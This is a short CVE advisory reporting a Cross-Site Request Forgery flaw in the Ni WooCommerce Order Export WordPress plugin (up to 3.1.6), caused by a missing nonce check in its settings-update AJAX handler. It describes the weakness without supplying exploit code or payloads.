CVE-2026-4140

Description

The Ni WooCommerce Order Export plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to and including 3.1.6. This is due to missing nonce validation in the ni_order_export_action() AJAX handler function. The handler processes settings updates when the 'page' parameter is set to 'nioe-order-settings', delegating to Ni_Order_Setting::page_ajax() which calls update_option('ni_order_export_option', $_REQUEST) without verifying any nonce or checking user capabilities. This makes it possible for unauthenticated attackers to modify the plugin's settings via a forged request, granted they can trick a site administrator into performing an action such as clicking a link.
